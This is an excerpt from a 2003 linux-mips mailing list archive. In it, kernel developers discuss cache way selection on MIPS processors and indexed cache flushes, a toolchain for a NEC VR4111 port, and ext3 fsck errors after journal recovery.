X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1972
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips

On Thu, Apr 10, 2003 at 11:50:53AM -0700, Mike Uhler wrote:
> > 
> > If a cache is multi-way set associative cache, one must
> > select the way for indexed cache operations.
> > 
> > The most common way selection is to use MSBs in the addressing
> > range of the whole cache size.  In other word, a two-way
> > cache of size d would use bit (log(d)-1) to select the way.
> > 
> > Some other CPUs often the LSB(s) in the address to select
> > ways.  Examples include R5432, R5500, TX49, TX39.  Does
> > anybody know other such CPUs?
> > 
> > And I think I have seen a third kind way selection, but I
> > can't remember which CPU it is.  Does anybody know any
> > other way selection schemes?
> > 
> > Thanks.
> > 
> > Jun
> > 
> 
> I can't comment on anything but MIPS32 and MIPS64 CPUs, but the
> MIPS32 and MIPS64 standard is to use the bits above the index field
> to specify the way.  

Yes.  This is same as the "most common case" as I said above.
Maybe this is a better way to phrase it.  :)

Jun

From ramune@net-ronin.org Thu Apr 10 20:24:08 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 20:24:09 +0100 (BST)
Received: from h24-80-147-251.no.shawcable.net ([IPv6:::ffff:24.80.147.251]:8721
	"EHLO antichrist") by linux-mips.org with ESMTP id <S8225205AbTDJTYI>;
	Thu, 10 Apr 2003 20:24:08 +0100
Received: by antichrist (Postfix, from userid 1003)
	id 1660C4030; Thu, 10 Apr 2003 12:23:20 -0700 (PDT)
Date: Thu, 10 Apr 2003 12:23:19 -0700
From: carbonated beverage <ramune@net-ronin.org>
To: linux-mips@linux-mips.org
Subject: recommended toolchain
Message-ID: <20030410192319.GA21381@net-ronin.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Return-Path: <ramune@net-ronin.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1973
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ramune@net-ronin.org
Precedence: bulk
X-list: linux-mips

Hi,

	What's the currently recommended toolchain for building MIPS kernels?
I'm working on a NEC VR4111 (mipsel, MIPS16, I, II, III, no LL/SC :P) and
would like to avoid tracking down toolchain bugs.

	Also, Are partial patches (i.e. platform not fully functional yet)
accepted?  Or should I finish a full port (hits userland) first?

	Vadem Clio 1000, reading the 2.4.0-test9 tree that's the last version
I see in CVS and porting to 2.5 (bk pull as of... a while ago).

	Thanks,

-- DN
Daniel

From ralf@linux-mips.net Thu Apr 10 20:24:42 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 20:24:43 +0100 (BST)
Received: from p508B62A5.dip.t-dialin.net ([IPv6:::ffff:80.139.98.165]:7079
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225205AbTDJTYm>; Thu, 10 Apr 2003 20:24:42 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3AJOUk01954;
	Thu, 10 Apr 2003 21:24:30 +0200
Date: Thu, 10 Apr 2003 21:24:30 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Mike Uhler <uhler@mips.com>
Cc: Jun Sun <jsun@mvista.com>, linux-mips@linux-mips.org
Subject: Re: way selection bit for multi-way cache
Message-ID: <20030410212430.A519@linux-mips.org>
References: <20030410110527.E9002@mvista.com> <200304101850.h3AIorK11089@uhler-linux.mips.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200304101850.h3AIorK11089@uhler-linux.mips.com>; from uhler@mips.com on Thu, Apr 10, 2003 at 11:50:53AM -0700
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1974
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Thu, Apr 10, 2003 at 11:50:53AM -0700, Mike Uhler wrote:

> I can't comment on anything but MIPS32 and MIPS64 CPUs, but the
> MIPS32 and MIPS64 standard is to use the bits above the index field
> to specify the way.  See the figure entitled "Usage of Address Fields
> to Select Index and Way" in the CACHE instruction description of the
> MIPS32 and MIPS64 Architecture for Programmer's manuals.

The question came up between Jun and me when revising the way of handling
multi-way caches.  There is the MIPS32 / MIPS64 way of selecting the
cache way - but that scheme was originally already introduced by the
R4600.  The second somewhat less common scheme is using the lowest bits
of the address.  That was originally introduced with the R10000 but a
few other processors such as the R5432 and the TX49 series are using it
as well.  Unfortunately there has been way to much creativity (usually
a positive property but ...) among designers so this posting is an
attempt to achieve completeness.

  Ralf

From uhler@mips.com Thu Apr 10 20:37:56 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 20:38:00 +0100 (BST)
Received: from ftp.mips.com ([IPv6:::ffff:206.31.31.227]:39103 "EHLO
	mx2.mips.com") by linux-mips.org with ESMTP id <S8225205AbTDJTh4>;
	Thu, 10 Apr 2003 20:37:56 +0100
Received: from newman.mips.com (ns-dmz [206.31.31.225])
	by mx2.mips.com (8.12.5/8.12.5) with ESMTP id h3AJbkUe015552;
	Thu, 10 Apr 2003 12:37:46 -0700 (PDT)
Received: from uhler-linux.mips.com (uhler-linux [192.168.11.222])
	by newman.mips.com (8.9.3/8.9.0) with ESMTP id MAA00407;
	Thu, 10 Apr 2003 12:37:48 -0700 (PDT)
Received: from uhler-linux.mips.com (uhler@localhost)
	by uhler-linux.mips.com (8.11.2/8.9.3) with ESMTP id h3AJbl211418;
	Thu, 10 Apr 2003 12:37:47 -0700
Message-Id: <200304101937.h3AJbl211418@uhler-linux.mips.com>
X-Authentication-Warning: uhler-linux.mips.com: uhler owned process doing -bs
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: Ralf Baechle <ralf@linux-mips.org>
cc: Mike Uhler <uhler@mips.com>, Jun Sun <jsun@mvista.com>,
	linux-mips@linux-mips.org
cc: uhler@mips.com
Reply-To: uhler@mips.com
Subject: Re: way selection bit for multi-way cache 
In-reply-to: Your message of "Thu, 10 Apr 2003 21:24:30 +0200."
             <20030410212430.A519@linux-mips.org> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 10 Apr 2003 12:37:47 -0700
From: "Mike Uhler" <uhler@mips.com>
Return-Path: <uhler@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1975
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: uhler@mips.com
Precedence: bulk
X-list: linux-mips

> On Thu, Apr 10, 2003 at 11:50:53AM -0700, Mike Uhler wrote:
> 
> > I can't comment on anything but MIPS32 and MIPS64 CPUs, but the
> > MIPS32 and MIPS64 standard is to use the bits above the index field
> > to specify the way.  See the figure entitled "Usage of Address Fields
> > to Select Index and Way" in the CACHE instruction description of the
> > MIPS32 and MIPS64 Architecture for Programmer's manuals.
> 
> The question came up between Jun and me when revising the way of handling
> multi-way caches.  There is the MIPS32 / MIPS64 way of selecting the
> cache way - but that scheme was originally already introduced by the
> R4600.  The second somewhat less common scheme is using the lowest bits
> of the address.  That was originally introduced with the R10000 but a
> few other processors such as the R5432 and the TX49 series are using it
> as well.  Unfortunately there has been way to much creativity (usually
> a positive property but ...) among designers so this posting is an
> attempt to achieve completeness.
> 
>   Ralf

Exactly why we made it a standard in MIPS32 and MIPS64.
-- 

  =*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
  Michael Uhler, VP, Systems, Architecture, and Software Products 
  MIPS Technologies, Inc.   Email: uhler@mips.com   Pager: uhler_p@mips.com
  1225 Charleston Road      Voice:  (650)567-5025   FAX:   (650)567-5225
  Mountain View, CA 94043   Mobile: (650)868-6870   Admin: (650)567-5085



From ralf@linux-mips.net Thu Apr 10 21:09:15 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 21:09:16 +0100 (BST)
Received: from p508B62A5.dip.t-dialin.net ([IPv6:::ffff:80.139.98.165]:49831
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225205AbTDJUJP>; Thu, 10 Apr 2003 21:09:15 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3AK96b02878;
	Thu, 10 Apr 2003 22:09:06 +0200
Date: Thu, 10 Apr 2003 22:09:06 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Mike Uhler <uhler@mips.com>
Cc: Jun Sun <jsun@mvista.com>, linux-mips@linux-mips.org
Subject: Re: way selection bit for multi-way cache
Message-ID: <20030410220906.B519@linux-mips.org>
References: <20030410212430.A519@linux-mips.org> <200304101937.h3AJbl211418@uhler-linux.mips.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200304101937.h3AJbl211418@uhler-linux.mips.com>; from uhler@mips.com on Thu, Apr 10, 2003 at 12:37:47PM -0700
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1976
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Thu, Apr 10, 2003 at 12:37:47PM -0700, Mike Uhler wrote:

> > The question came up between Jun and me when revising the way of handling
> > multi-way caches.  There is the MIPS32 / MIPS64 way of selecting the
> > cache way - but that scheme was originally already introduced by the
> > R4600.  The second somewhat less common scheme is using the lowest bits
> > of the address.  That was originally introduced with the R10000 but a
> > few other processors such as the R5432 and the TX49 series are using it
> > as well.  Unfortunately there has been way to much creativity (usually
> > a positive property but ...) among designers so this posting is an
> > attempt to achieve completeness.
> 
> Exactly why we made it a standard in MIPS32 and MIPS64.

Yep, of the existing variations that was certainly the nicest.  Only a
single function had to be taught about multi-way caches and that only
because it's a bit hard to flush caches for another process due to the
TLB translation required for the hit cacheops.  Alternative schemes need
more support by the code.

  Ralf

From hartvig@ekner.info Thu Apr 10 21:17:51 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 21:17:52 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:24327 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225205AbTDJURv>;
	Thu, 10 Apr 2003 21:17:51 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP
	id 8350FB56B; Thu, 10 Apr 2003 22:17:46 +0200 (CEST)
Message-ID: <3E95D16D.1671BA5A@ekner.info>
Date: Thu, 10 Apr 2003 22:17:49 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: ext3 under MIPS?
References: <3E954651.C7AECB90@ekner.info> <20030410154050.GI5242@lug-owl.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1977
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

Jan-Benedict Glaw wrote:

> >
> > So can somebody tell me what the heck just happened? After the ext3 recovery done before the mount,
> > .autofsck is still on the disk, so the rc.sysinit script of course assumes the shutdown was unclean,
>
> This ".autofsck" file seems to be a userland approach to detect a system
> which wasn't shutted down completely. Even this is fine. What's *not*
> okay is that there are still errors remaining. It seems your filesystem
> has been damaged before (and in no means which could have been handled
> by the journal).
>
> > and pops the 5-second question. However, if I to be safe push "Y" here to get my filesystem check (which
> > I guess should be unnecessary, due to the ext3 recovery just run, right?), strange things happen and
> > fsck reports the "corrupted orphan list... " error.
>
> Wrong. The journal should prevent you from actually loosing things at
> hard-power-off situations. It does *not* cover things like silent data
> corruption, which may have lead to this breakage.
>
> > Is there something wrong here, or how should the system behave?
>
> Everything with journal recovery is fine here. The failing fsck is a
> different problem (a journal doesn't preven you to do a fsck at a
> regular basis. It's only to not be forced to to it if you don't have the
> time to do this *now* (on crash)).
>
> So there seems do be some corruption (caused by whatever) going on at
> your system:-(
>
> Watch out if this happens again soon after you've completed the fsck.
>

I can reproduce this anytime by just pushing the reset button and checking the filesystem
at reboot after ext3 recovery has run. However, if I just do regular fsck's (without unclean
shutdowns) nothing seems to be wrong. So I am pretty sure it is something which
goes wrong in conjunction with the unclean shutdowns.

Is ext3 journal recovery really supposed to recover everything to a state where fsck returns no
errors, or is it potentially leaving non-fatal errors in the filesystem (e.g. lost inodes which just
reduces capacity, but does not cause further corruption if the filesystem is used) which will then
be picked up by a later fsck when one has time to run it?

What does the error "Inodes that were part of a corrupted orphan linked list found." actually
mean? Is this a fatal error, or a non-critical error along the lines I described above (an error
which does not get any worse if the filesystem is used)?

Is there anybody with ext3 up and running who would volunteer to do a couple of unclean
shutdowns and see if the recovery works without any fsck errors present afterwards?

/Hartvig



From uhler@mips.com Thu Apr 10 21:28:49 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 21:28:52 +0100 (BST)
Received: from mx2.mips.com ([IPv6:::ffff:206.31.31.227]:18883 "EHLO
	mx2.mips.com") by linux-mips.org with ESMTP id <S8225205AbTDJU2t>;
	Thu, 10 Apr 2003 21:28:49 +0100
Received: from newman.mips.com (ns-dmz [206.31.31.225])
	by mx2.mips.com (8.12.5/8.12.5) with ESMTP id h3AKSeUe015930;
	Thu, 10 Apr 2003 13:28:40 -0700 (PDT)
Received: from uhler-linux.mips.com (uhler-linux [192.168.11.222])
	by newman.mips.com (8.9.3/8.9.0) with ESMTP id NAA03268;
	Thu, 10 Apr 2003 13:28:40 -0700 (PDT)
Received: from uhler-linux.mips.com (uhler@localhost)
	by uhler-linux.mips.com (8.11.2/8.9.3) with ESMTP id h3AKSf211575;
	Thu, 10 Apr 2003 13:28:41 -0700
Message-Id: <200304102028.h3AKSf211575@uhler-linux.mips.com>
X-Authentication-Warning: uhler-linux.mips.com: uhler owned process doing -bs
To: Ralf Baechle <ralf@linux-mips.org>
cc: Mike Uhler <uhler@mips.com>, Jun Sun <jsun@mvista.com>,
	linux-mips@linux-mips.org, uhler@mips.com
Reply-To: uhler@mips.com
Subject: Re: way selection bit for multi-way cache 
In-reply-to: Your message of "Thu, 10 Apr 2003 22:09:06 +0200."
             <20030410220906.B519@linux-mips.org> 
Date: Thu, 10 Apr 2003 13:28:41 -0700
From: "Mike Uhler" <uhler@mips.com>
Return-Path: <uhler@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1978
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: uhler@mips.com
Precedence: bulk
X-list: linux-mips


> On Thu, Apr 10, 2003 at 12:37:47PM -0700, Mike Uhler wrote:
> 
> > > The question came up between Jun and me when revising the way of handling
> > > multi-way caches.  There is the MIPS32 / MIPS64 way of selecting the
> > > cache way - but that scheme was originally already introduced by the
> > > R4600.  The second somewhat less common scheme is using the lowest bits
> > > of the address.  That was originally introduced with the R10000 but a
> > > few other processors such as the R5432 and the TX49 series are using it
> > > as well.  Unfortunately there has been way to much creativity (usually
> > > a positive property but ...) among designers so this posting is an
> > > attempt to achieve completeness.
> > 
> > Exactly why we made it a standard in MIPS32 and MIPS64.
> 
> Yep, of the existing variations that was certainly the nicest.  Only a
> single function had to be taught about multi-way caches and that only
> because it's a bit hard to flush caches for another process due to the
> TLB translation required for the hit cacheops.  Alternative schemes need
> more support by the code.

I'm not sure what you mean by TLB translations required for hit cacheops.
If you mean the Index Writeback or Index Invalidate functions, note that
you can (and should) use a kseg0 address to do this.  This bypasses
the TLB, while still giving you the index that you want.  We simply
OR the kseg0 base address into the index that we've calculated and
use that as the argument to the CACHE instruction.  There's actually
words to this effect in the MIPS32/MIPS64 spec, but it is, perhaps,
not clear enough.

/gmu

From ralf@linux-mips.net Thu Apr 10 21:52:18 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 21:52:18 +0100 (BST)
Received: from p508B62A5.dip.t-dialin.net ([IPv6:::ffff:80.139.98.165]:21672
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225205AbTDJUwS>; Thu, 10 Apr 2003 21:52:18 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3AKqCU03734;
	Thu, 10 Apr 2003 22:52:12 +0200
Date: Thu, 10 Apr 2003 22:52:12 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Mike Uhler <uhler@mips.com>
Cc: Jun Sun <jsun@mvista.com>, linux-mips@linux-mips.org
Subject: Re: way selection bit for multi-way cache
Message-ID: <20030410225212.A3294@linux-mips.org>
References: <20030410220906.B519@linux-mips.org> <200304102028.h3AKSf211575@uhler-linux.mips.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200304102028.h3AKSf211575@uhler-linux.mips.com>; from uhler@mips.com on Thu, Apr 10, 2003 at 01:28:41PM -0700
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1979
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Thu, Apr 10, 2003 at 01:28:41PM -0700, Mike Uhler wrote:

> > Yep, of the existing variations that was certainly the nicest.  Only a
> > single function had to be taught about multi-way caches and that only
> > because it's a bit hard to flush caches for another process due to the
> > TLB translation required for the hit cacheops.  Alternative schemes need
> > more support by the code.
> 
> I'm not sure what you mean by TLB translations required for hit cacheops.
> If you mean the Index Writeback or Index Invalidate functions, note that
> you can (and should) use a kseg0 address to do this.  This bypasses
> the TLB, while still giving you the index that you want.  We simply
> OR the kseg0 base address into the index that we've calculated and
> use that as the argument to the CACHE instruction.  There's actually
> words to this effect in the MIPS32/MIPS64 spec, but it is, perhaps,
> not clear enough.

Linux has a flush_cache_page() cache operation which is used to invalidate
a page given by a virtual user-space address.  That page might be the
page of a current processor which is the easy case - it might also belong
to another process.  In the later case the TLB would miss-translate
the virtual address because the translation in the TLB is actually for
the current process.  So this is what we're doing then:

[...]
        /*
         * Do indexed flush, too much work to get the (possible) TLB refills
         * to work correctly.
	 *
	 * Note: page is the physical address of the page to invalidate.
         */
        page = (KSEG0 + (page & (dcache_size - 1)));
	/*
	 * The following two flush operations have to flush the page from
	 * all cache ways!
	 */
        blast_dcache_page_indexed(page);
        if (exec)
                blast_icache_page_indexed(page);
[...]

This can be a rather expensive operation in particular for caches with
a high degree of associativity.  The worst case would be something like
a page containing code for a processor with a 32k 8-way associative
caches where we'd have to flush the entire cache - costly overkill and
the refills might be even slower ...

  Ralf

From dom@mips.com Fri Apr 11 07:33:24 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 07:33:26 +0100 (BST)
Received: from alg145.algor.co.uk ([IPv6:::ffff:62.254.210.145]:3084 "EHLO
	dmz.algor.co.uk") by linux-mips.org with ESMTP id <S8225196AbTDKGdX>;
	Fri, 11 Apr 2003 07:33:23 +0100
Received: from alg158.algor.co.uk ([62.254.210.158] helo=olympia.mips.com)
	by dmz.algor.co.uk with esmtp (Exim 3.35 #1 (Debian))
	id 193sBQ-0006Dv-00; Fri, 11 Apr 2003 07:38:44 +0100
Received: from gladsmuir.algor.co.uk ([172.20.192.66] helo=gladsmuir.mips.com)
	by olympia.mips.com with esmtp (Exim 3.36 #1 (Debian))
	id 193s5x-0002XR-00; Fri, 11 Apr 2003 07:33:05 +0100
From: Dominic Sweetman <dom@mips.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <16022.24992.314581.716649@gladsmuir.mips.com>
Date: Fri, 11 Apr 2003 07:33:04 +0100
To: Ralf Baechle <ralf@linux-mips.org>
Cc: Mike Uhler <uhler@mips.com>, Jun Sun <jsun@mvista.com>,
	linux-mips@linux-mips.org
Subject: Re: way selection bit for multi-way cache
In-Reply-To: <20030410225212.A3294@linux-mips.org>
References: <20030410220906.B519@linux-mips.org>
	<200304102028.h3AKSf211575@uhler-linux.mips.com>
	<20030410225212.A3294@linux-mips.org>
X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
X-MTUK-Scanner: Found to be clean
X-MTUK-SpamCheck: not spam, SpamAssassin (score=-1, required 4.5, AWL,
	IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SPAM_PHRASE_03_05)
Return-Path: <dom@mips.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1980
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dom@mips.com
Precedence: bulk
X-list: linux-mips


Mike wrote:

> > I'm not sure what you mean by TLB translations required for hit
> > cacheops.  If you mean the Index Writeback or Index Invalidate
> > functions, note that you can (and should) use a kseg0 address to
> > do this.

Mike was proposing a kseg0 address translating to the right physical
address, and used with a hit-type cacheop.  I believe Ralf (and Linux)
are just assuming that's no good because it doesn't work if you have
cacheable memory above 512Mbytes physical address.

I wonder whether anything really bad would happen if you temporarily
changed the (machine) ASID to that of the address space you wanted to
invalidate?

--
Dominic


From jbglaw@dvmwest.gt.owl.de Fri Apr 11 07:48:04 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 07:48:05 +0100 (BST)
Received: from dvmwest.gt.owl.de ([IPv6:::ffff:62.52.24.140]:24580 "EHLO
	dvmwest.gt.owl.de") by linux-mips.org with ESMTP
	id <S8225196AbTDKGsE>; Fri, 11 Apr 2003 07:48:04 +0100
Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 7166E4AB36; Fri, 11 Apr 2003 08:47:56 +0200 (CEST)
Date: Fri, 11 Apr 2003 08:47:56 +0200
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: ext3 under MIPS?
Message-ID: <20030411064754.GM5242@lug-owl.de>
Mail-Followup-To: Linux MIPS mailing list <linux-mips@linux-mips.org>
References: <3E954651.C7AECB90@ekner.info> <20030410154050.GI5242@lug-owl.de> <3E95D16D.1671BA5A@ekner.info>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="uwB7x3tnyrZQfZJI"
Content-Disposition: inline
In-Reply-To: <3E95D16D.1671BA5A@ekner.info>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Return-Path: <jbglaw@dvmwest.gt.owl.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1981
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jbglaw@lug-owl.de
Precedence: bulk
X-list: linux-mips


--uwB7x3tnyrZQfZJI
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-04-10 22:17:49 +0200, Hartvig Ekner <hartvig@ekner.info>
wrote in message <3E95D16D.1671BA5A@ekner.info>:
> Jan-Benedict Glaw wrote:

[ext3 fs corruption after journal recovery]

> I can reproduce this anytime by just pushing the reset button and checkin=
g the filesystem
> at reboot after ext3 recovery has run. However, if I just do regular fsck=
's (without unclean
> shutdowns) nothing seems to be wrong. So I am pretty sure it is something=
 which

How do you invoce fsck?

> goes wrong in conjunction with the unclean shutdowns.

That's bad then:-(

> Is ext3 journal recovery really supposed to recover everything to a state=
 where fsck returns no
> errors, or is it potentially leaving non-fatal errors in the filesystem (=
e.g. lost inodes which just

No. The concept is different.

Such a journal will log things like:

- File creation/deletion
- Owner/timestamp/access changes

These informations are restored during journal recovery. Most
filesystems do /not/ store the actual data you're writing to a file into
the journal. So, after you've issued a write() and presses the reset
button, the journal contains the new filesize, but by possibility
__not__ the data you've written to the file. So file size is okay, but
file content isn't. It's basically the job of the journal to keep your
filesystem intact, but not your data.

If you do this:

	- Boot with / mounted r/o
	- e2fsck -f /dev/your-root-device
	- Reset
	- Boot with / mounted r/w
	- Write something
	- Reset

You shouldn't see fsck failing (except it may replay the journal for
filesystems which hadn't been mounted on /).

If you see corruption here (ie. fsck finds problems after replaying the
journal), something is serverely broken.


> reduces capacity, but does not cause further corruption if the filesystem=
 is used) which will then
> be picked up by a later fsck when one has time to run it?

It should present you a f/s with no *known* problems. If corruption
(broken DMA transfers, ...) took place, this hasn't eventually logget
into the journal so this isn't recovered:-)

> What does the error "Inodes that were part of a corrupted orphan linked l=
ist found." actually
> mean? Is this a fatal error, or a non-critical error along the lines I de=
scribed above (an error
> which does not get any worse if the filesystem is used)?

I think this basically means that fsck found files of a (destroyed)
directory. But for exact statements here, read e2fsck's sources...

> Is there anybody with ext3 up and running who would volunteer to do a cou=
ple of unclean
> shutdowns and see if the recovery works without any fsck errors present a=
fterwards?

:-)

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--uwB7x3tnyrZQfZJI
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+lmUZHb1edYOZ4bsRAkrOAJ99YcZXXAv5V7L4Og5Xsx8wDikuUQCeLK1y
uUeRA36NKnr6ZMvtmzIOeeQ=
=2I05
-----END PGP SIGNATURE-----

--uwB7x3tnyrZQfZJI--

From brian@murphy.dk Fri Apr 11 08:50:34 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 08:50:35 +0100 (BST)
Received: from port48.ds1-vbr.adsl.cybercity.dk ([IPv6:::ffff:212.242.58.113]:36162
	"EHLO valis.localnet") by linux-mips.org with ESMTP
	id <S8225196AbTDKHue>; Fri, 11 Apr 2003 08:50:34 +0100
Received: from murphy.dk (brm@brian.localnet [10.0.0.2])
	by valis.localnet (8.12.7/8.12.7/Debian-2) with ESMTP id h3B7oNBs002113;
	Fri, 11 Apr 2003 09:50:24 +0200
Message-ID: <3E9673BF.2050808@murphy.dk>
Date: Fri, 11 Apr 2003 09:50:23 +0200
From: Brian Murphy <brian@murphy.dk>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
MIME-Version: 1.0
To: Hartvig Ekner <hartvig@ekner.info>
CC: linux-mips@linux-mips.org
Subject: Re: ext3 under MIPS?
References: <3E954651.C7AECB90@ekner.info> <20030410154050.GI5242@lug-owl.de> <3E95D16D.1671BA5A@ekner.info>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Return-Path: <brian@murphy.dk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
